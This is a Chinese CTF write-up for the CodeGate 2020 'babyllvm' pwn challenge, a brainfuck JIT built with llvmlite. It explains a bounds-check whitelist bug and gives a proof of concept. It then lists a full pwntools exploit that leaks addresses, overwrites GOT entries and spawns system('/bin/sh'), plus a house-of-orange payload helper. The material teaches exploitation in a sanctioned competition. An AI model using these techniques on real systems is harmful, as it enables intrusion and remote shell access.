logo头像

Hacked By Swing

codegate-2020-1

CodeGate 两道简单题 writeup (1)

前言

有一段时间没打比赛了,最近先是做了做 hacktm ,然后又碰到 codegate ,本来是打算好好打打的,于是按照 ctftime 上的时间准备的,没想到 codegate 在上面的时间就是错的,写的是 UTC ,但是其实是 KST (韩国当地时间),中间有 9 个小时时差,等我们开始做题的时候比赛都开始 6 个多小时了,这个时候才开始准备比赛,基本就没什么人打了。。

所以就随便做了两个题,总的感觉是 codegate 的题属于国际赛当中难度比较低的,可以作为入门国际赛来玩。

考虑到难度并不是特别大,所以在写的时候以解释我的思路过程为主,供刚入门的同学学习。

pwn: babyllvm

题目信息

题目一共有两个文件:main.py 和一个 runtime.so ,包括一个 Dockerfile 给出了题目搭建的环境,过程差不多就是在特定端口上运行 main.py ,远程的时候就直接进入到 main.py 里。

这种情况在国际赛当中比较常见,国际赛的知识面相对比较广,涉及的东西也会比较多,所以不像国内赛基本都是套路式的 libc 题目的形式,一些同学看到这样的形式就不知道怎么做了,所以我会仔细地说下我的思路。

第一步:查看题目大致背景

这一步主要是看懂题目在做什么,其实之前我们已经开始做这个步骤了,就是在查看题目的 Dockerfile 的时候,我们知道了我们连上去之后会是接触到的哪个程序,这样知道题目程序的逻辑在哪儿。

接下来,我们需要查看 main.py 文件,把这个文件看懂,看明白它的内容。

具体的代码内容比较长,我就不一一解释了,总的来说,这个文件是一个 Python3 的程序,引用了 llvmlite 这个库。为了看懂题目的逻辑,就需要通过搜索到 llvmlite 的文档 结合文档去理解它内部的逻辑。

其中需要注意的是,llvmlite 是 LLVM 的 python binding,所以其实我们还需要有一些 llvm 的基础知识,如果在比赛期间没有这样的知识,也可以通过查看 LLVM 的文档 去现学,这就需要考验基础知识了。

大体来讲,llvm 是一个编译器框架,特别是编译器的后端,包括 jit (及时编译,也就是一边编译一边运行,编译到内存里,不需要写到文件),这个程序就是利用的这个功能。

这个部分的使用方法主要是通过构造 llvm IR ,也就是 llvm 使用的中间语言,在编译的过程中,编译器一般会生成一个中间语言,然后在中间语言基础上进行优化等操作,之后再生成汇编语言,汇编语言通过汇编器生成机器代码,最终生成可执行文件。如果是 JIT ,就不需要生成可执行文件,而是在生成机器代码之后直接运行。

具体的部分可以进一步的了解编译器的一些基础知识,这相当于是这个题目所需要的基本知识要求了,就不再赘述了。

所以,整个程序就是一个小的 JIT 编译器,那么语言是怎么样的呢?从题目中我们可以看到这样的程序:

1
2
3
code = "-[------->+<]>-.-[->+++++<]>++.+++++++..+++.[--->+<]>-----.+[->++<]>+.>-[--->+<]>-.[----->+<]>++.--[-->+++<]>-.+++++++++++++.+.+[-->+++++<]>-.-.++[->++<]>+.-[--->+<]>++.----.+++++.++++++++++.-[---->+<]>++.+[----->+<]>.--[--->+<]>.-[---->+<]>++.+[->++<]>.++++.[-->+<]>---.>-[--->+<]>---.-[->++++<]>+.+++++++++++.----.[->++++<]>--.>++++++++++."
l, h = compile(bfProgram(code))
execute(l, h)

有经验的同学可以看到这是 brainfuck,也可以从 bfProgram 这里可以看出来,否则就更加麻烦了,需要自己去在没有资料的情况下理解程序。

那么到现在,我们的背景方面差不多就了解了,知道了这个程序大概在干什么,接下来就要具体的去看程序的细节实现了。

第二步:理解程序细节实现

经过第一步的背景调查,我们现在已经具备了查看程序具体代码的能力,接下来就是具体的去理解程序的过程了。

这个过程没什么好说的,就是看代码,如果有看不懂的部分查资料,如果有 llvm IR 的背景基础了这个部分是比较容易看懂的,也就是花多少时间的差距而已。

总的来说,这个题目的逻辑就是一个 brainfuck 的 JIT 编译器(这个在上一步就已经确认了),还加入了一些优化和检查:

  1. 检查:允许 brainfuck 的数据指针指向任意位置,但是不允许其从数据指针不经过检查取出数据。在取出数据的时候,通过生成对 runtime.soptrBoundsCheck 函数的调用来保证取出数据(包括输入输出)的时候数据指针是正常的
  2. 优化:上一个检查存在一个优化,利用了一个白名单机制,主要是用来处理当程序目前位置已经生成了边界检查函数的时候,比如检查了数据指针 xy 位置是合法的(位于 (start, bound) 之间),那么以后再访问数据指针 z ,同时 y 满足 \(x \leq z \leq y\) ,那么这个 z 就一定是合法的,这个时候由于边界检查函数就可以省略掉,节省运行时间
  3. 优化:在 brainfuck 中,指令 > < + - 都是对指针或是数据进行加 1 减 1 的操作,那么连续的加 1 减 1 就可以被生成为加 n 减 n ,从而减少运行时间消耗

其他部分就是很常规的生成 llvm IR ,最终利用 JIT 功能进行 JIT 运行了。

第三步:找 BUG 之,找到可疑位置

老实说,这个程序的 bug 不是特别好找,我还稍微花了一点时间,并最终利用我的方法找到了。

这种问题找 bug 的思路就是去揣摩程序的设计思路,去查看哪个地方的设计思路不合理。

在上一步中,我分析了程序中的一些优化和检查的思路,这些思路都是没有问题的。问题在于检查 1 和优化 2 中,这个白名单,应当只在一段连续的程序中起作用,因为一旦出现了 if 语句,也就是出现了不确定性,我们就无法知道前面是否已经检查过 xy 了。所以这个对检查的优化是有条件的。

那么仔细查看程序,我们就会发现程序中有一个奇怪的地方,也就是程序的在生成代码 codegen 中,居然使用了白名单作为参数!在前面的分析中,我们知道,这个白名单怎么说也应该只在连续的一段,也就是 codegen 自己内部起作用,那么接受一个参数,这个就和我们的分析违背了,违背的地方就可能会出现问题。

事实上也确实是这样,对参数的使用在这个地方:

1
2
3
4
# create all blocks
headb = self.head.codegen(module)
br1b = self.br1.codegen(module, (0, 0))
br2b = self.br2.codegen(module, (0, 0))

也就是在生成 if 的情况的时候,对跳转的两个 branch 的生成,使用了这个参数。虽然看起来这个参数只是无关紧要的 0 ,只允许 0 ,按理说, 0 确实应该是合法的,但是和我们之前的设计思路违背,那么这个使用是没有道理的,我们就可以从这里出发来思考可能出现什么问题。

第四步:从可疑位置思考 bug 的存在

接下来我们就从这个可疑位置来思考 bug 到底如何存在的。

这个地方明显是可疑的,他的这个设计是没有理由的,违背了其思想。那么多余的白名单会造成什么问题?

在生成代码的时候,只要满足了 if_safe 函数,就会避免生成运行时的边界检查。我们来查看其中一个边界检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
rel_pos = 0
# ...
# input case
dptr = builder.load(dptr_ptr)
if not is_safe(rel_pos, whitelist_cpy):
sptr = builder.load(sptr_ptr)
cur = builder.ptrtoint(dptr, i64)
start = builder.ptrtoint(sptr, i64)
bound = builder.add(start, llvmIR.Constant(i64, 0x3000))
builder.call(ptrBoundCheck, [start, bound, cur])
whitelist_cpy = whitelist_add(whitelist_cpy, rel_pos)
assert(imm > 0)
for i in range(imm - 1):
builder.call(read_char, [])
val = builder.call(read_char, [])
builder.store(val, dptr)

这是生成输入函数时候的检查,可以看到,在进行检查的时候,是用 rel_pos 进行检查的,明显,在存在跳转的时候,我们无法在编译期确认数据指针的具体值,所以检查只能用相对的位置来检查,如果不存在白名单参数,那么这个程序没有问题,因为第一个 is_safe 无论如何无法成立,那么总是会先生成一个边界检查,之后在利用相对的位置去避免生成边界检查就没有问题。

比如,我并不知道现在的数据指针在哪个位置,但是我需要其在 (start, bound) 这个范围里,由于第一个检查无论如何无法避免,所以我总是会先生成一个边界检查,保证 rel_pos_0(start, bound) 范围里,接下来可以避免的情况只有 rel_pos_0 ,如果我生成一个 rel_pos_1rel_pos_0 大的边界检查,那么之后在 (rel_pos_0, rel_pos_1) 里的检查就没有必要了,这样是合法的。

但是,多了一个白名单会有什么后果?在程序一开始,rel_pos = 0 ,这个时候多了一个 0 位置的白名单,0 是不需要检查的!那么也就是说,如果我在 if 外面操作数据指针,进到 if 里面再进行数据输入输出,这个数据就不会进行检查了!

所以,这个可疑情况就确实构成了一个 bug 。许多 bug 的造成都是由于其和理应的设计思路不符合而形成的,所以我们可以先从理应的设计思路出发,找到相违背的地方,然后去思考这个违背的地方造成了什么不合理的局面,由此来推出 bug 的存在。

最后:利用

有了 bug 了,利用就简单了。

这个 bug 的能力就是我可以对数据指针进行任意操作,还可以进行对数据指针的任意输入输出,只不过需要在 if 的 case 里。

首先我们需要一个 poc 来把我们的 bug 变成一个可以验证的确实的 bug ,这个可以通过按照这个思路进行构造:

1
<<<<<<<<[.]

其实往前移动多少个数据指针无所谓,只要是那个地方有数据就行了,如果可以输出数据,那么说明确实从不合法的数据指针位置取出了数据。

证明了可以进行从 runtime.so 开始进行一定范围的任意读写,再检查一下 runtime.so 的安全性,可以发现 runtime.so 是没有开启 FULL RELRO 的,那么其 GOT 表是可以写的,所以思路首先就是通过把数据指针往前移动到 GOT 表位置,修改 GOT 表内容(例如修改 write 位置),来劫持控制流,劫持之后可以通过 one gadget 的方法去拿到 shell 。

当然,这个过程的泄漏也比较简单,在写 write 之前先进行输出,然后再移动一下,再重新进行输入就行了。

在我尝试这个思路之后发现一个问题,那就是几个 one gadget 都不能用,所以需要再处理一下。不过也不麻烦,我查看了下,发现 GOT 表中的几个引用里,memset 函数的参数位置是我们可以写的,是我们的数据部分,所以我们可以先把 system 函数的参数 "/bin/sh" 写到那个位置,然后修改 memsetsystem ,再把 write 修改为 alloc_data (因为 alloc_data 函数在其他地方不再使用了,我们需要自己跳转过去,而 write 函数则可以通过写完成之后通过 print_char 触发,也就是利用 brainfuck 中的 . 进行触发),从而最终调用 system("/bin/sh\x00")

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2018 anciety <anciety@anciety-pc>
#
# Distributed under terms of the MIT license.
import sys
import os
import os.path
import time
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['notiterm', '-t', 'iterm', '-e']

# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.rr = tube.recvregex
tube.irt = tube.interactive

if len(sys.argv) > 2:
DEBUG = 0
HOST = sys.argv[1]
PORT = int(sys.argv[2])

p = remote(HOST, PORT)
else:
DEBUG = 1
if len(sys.argv) == 2:
PATH = sys.argv[1]

p = process(PATH)
#p = process('python3 ./binary_flag/main.py'.split())


# by w1tcher who dominates pwnable challenges
def house_of_orange(head_addr, system_addr, io_list_all):
payload = b'/bin/sh\x00'
payload = payload + p64(0x61) + p64(0) + p64(io_list_all - 16)
payload = payload + p64(0) + p64(1) + p64(0) * 9 + p64(system_addr) + p64(0) * 4
payload = payload + p64(head_addr + 18 * 8) + p64(2) + p64(3) + p64(0) + \
p64(0xffffffffffffffff) + p64(0) * 2 + p64(head_addr + 12 * 8)
return payload


orig_attach = gdb.attach
def gdb_attach(*args, **kwargs):
if DEBUG:
orig_attach(*args, **kwargs)
gdb.attach = gdb_attach


def minus_encode(data):
return 0xffffffffffffffff + (data + 1)


def main():
# Your exploit script goes here
data = 0x201080
write_got = 0x201008
p.ru('>>> ')
#shellcode = '+[{}[.>]<<<<<<[,>].]'.format('<' * (data-write_got))
shellcode = ',>,>,>,>,>,>,>,>+[{}[.>]{}[.>]{}[,>]{}[,>].]'.format(
'<' * (data-write_got), # binary base
'<' * (6 + 8), # libc base
'<' * 6, # write "write"
'>' * (2 + 8))
# 0. "/bin/sh\x00"
# 1. write -> call memset
# 2. memset -> system addr
p.sl(shellcode)
#p.irt()
time.sleep(0.5)
p.s('/bin/sh\x00')
binary_addr = u64(p.r(6).ljust(8, '\x00'))
binary_base = binary_addr - 0x7b6
libc_addr = u64(p.r(6).ljust(8, '\x00'))
libc_base = libc_addr - 0x110140
call_memset = p64(binary_base + 0x927).strip('\x00')
system_addr = p64(libc_base + 0x4f440).strip('\x00') + '\x00'
time.sleep(0.5)
#p.irt()
p.s(call_memset)
#p.irt()
time.sleep(0.5)
p.s(system_addr)
p.irt()

if __name__ == '__main__':
main()

附:调试方法

可能有同学对调试方法有些疑问,runtime.so 是加载到 python 中的,所以调试的时候,本地启动通过 process("python3 main.py".split()) 来进行启动,之后在程序等待输入的时候先不进行输入(在我的脚本里,我用的是 p.interactive(),如果要继续运行,我就用 ctrl+d 退出 p.interactive() 从而继续运行)。

之后在等待输入的时候,启动 gdb ,查看 python3 main.py 这个进程的 pid ,利用 attach PID attach 上去,查看 vmmap 可以看到 runtime.so 的加载地址,通过这个加载地址 b *ADDR + OFFSET 这种方式进行下断点,比如下到 print_char ,这样就可以调试了。